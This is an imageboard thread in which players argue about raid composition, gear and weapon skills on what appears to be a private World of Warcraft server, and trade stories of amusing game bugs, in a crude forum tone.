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>>167548580
>not keeping relevant weapon skills at least somewhat up to date
Well I can't help you if you're retarded, I can only give you advice!

>>167544687
>>167548024
Thats hilarious.

>>167548850
Define "carry".

> Only have 35 people on ready for the raid
> have 6 or 7 sup-ops, a few that have gone to great lengths to get the best pre BiS they can to mitigate any downsides, put effort into a good rotation & encounter knowledge
> Would rather invite some fresh 60's with no gear, no encounter knowledge, no practice/experience

You reckon? I don't reckon.

>>167549719
Most special snowflakes either take up limit debuff slots or do less DPS than tanks

Long term its much better to gear out optimal specs over sub optimal specs

>>167549719
>Only have 35 people on ready for the raid

What the fuck guild are you in? That's even worse than bringing special snowflakes.

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>be warlock
>fighting mobs, 1 left, end up dying
>voidwalker stays alive and continues to punch mob
>ends up killing it and I get xp while dead

t-th-thanks mangos....

>>167549891
yesterday someone was ganking me at a fp and I just spammed the button and when I died I took the fligh tpath.. or well my corpse did

even the bird thing was dead while flying

>>167549891
>1337/1776
a nice touch